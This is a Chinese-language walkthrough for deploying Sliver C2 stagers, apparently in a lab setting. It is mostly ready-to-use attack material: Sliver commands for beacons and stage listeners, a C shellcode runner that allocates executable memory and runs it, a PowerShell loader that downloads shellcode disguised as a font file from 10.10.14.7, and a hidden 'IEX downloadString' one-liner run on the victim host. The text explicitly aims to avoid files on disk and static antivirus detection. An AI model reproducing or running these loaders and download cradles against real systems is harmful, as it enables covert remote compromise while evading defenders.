目录
Sliver C2简介
Sliver 是一个开源的跨平台对手仿真/红队框架。它的设计具有可扩展性,可供各种规模的组织用于执行安全测试。
Sliver 可与 Cobalt Strike 或 Metasploit 相媲美。
Stager 在Sliver C2中指分阶段执行器,其核心作用在于从C2服务器上下载Sliver Shellcode,再上线Sliver C2。使用到分阶段执行器优势有二,其一为上传的文件较小,相较于Sliver原生Implant有10+MB,Stager一般只有几KB大小,另一个就是通过Stager传输的Sliver Shellcode直接运行在内存中,避免文件落地,静态查杀。
运行
Sliver C2一般不使用多用户模式的话,直接运行Server即可。
一般不使用多用户模式,直接运行Server版本即可。
Sliver-Server
Stager
由于直接生成的木马体积太大,传输上有时有问题,并且很容易被侦测,一般都使用stager,先上传小马,由小马自行与Sliver服务器通信下载大马上线。
Stager 工作方式是基于一个配置文件(profiles),其中记载了一个 Implant 的所有定义及配置信息,该配置文件通过profiles new
命令创建。
- 生成Profile并开启mtls监听
generate beacon --mtls 10.10.14.7 --os windows --arch amd64 --format shellcode --seconds 5 --jitter 3
--seconds beacon与服务器的通信时间间隔
--jitter beacon与服务器通信时间间隔随机变更加减时间 - 监听mtls
mtls -l 8888
- 创建开启分阶段监听器,tcp,http都可以, 不同的监听器,上线时使用不同的payload
stage-listener --url tcp://10.10.14.7:8443 --profile win64
stage-listener --url http://10.10.14.7:8088 --profile win64
- 生成一阶段木马,可以使用自带的generate或者使用msfvenom,格式可自行决定上线方式,这里分两种,一种使用C,编译成exe后,上传主机,上线,另一种,使用powershell
- C语言上线:
generate stager -L 10.10.14.7 -l 8443 -f c
- 替换生成的C语言代码
#include "windows.h" int main() { unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x48\x31\xd2\x56\x65\x48\x8b\x52\x60\x48\x8b\x52" .... void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)(); return 0; }
- 编译
x86_64-w64-mingw32-gcc -o runner.exe 1.c
- 上传靶机,运行上线
- Powershell 上线:
$Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32", CharSet=CharSet.Ansi)] public static extern IntPtr CreateThread( IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll", SetLastError=true)] public static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds); } "@ Add-Type $Win32 $shellcode = (New-Object System.Net.WebCLient).DownloadData("http://10.10.14.7:8088/fontawesome.woff") # 修改地址及端口即可,文件名无所谓 if ($shellcode -eq $null) {Exit}; $size = $shellcode.Length [IntPtr]$addr = [Win32]::VirtualAlloc(0,$size,0x1000,0x40); [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $size) $thandle=[Win32]::CreateThread(0,0,$addr,0,0,0); [Win32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
- python 运行http服务,以让受害主机能下载ps1文件并运行
python -m http.server 4000
- 受害主机运行powershell命令上线
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe -nop -w hidden IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7:4000/stager.ps1')
- python 运行http服务,以让受害主机能下载ps1文件并运行
- C语言上线: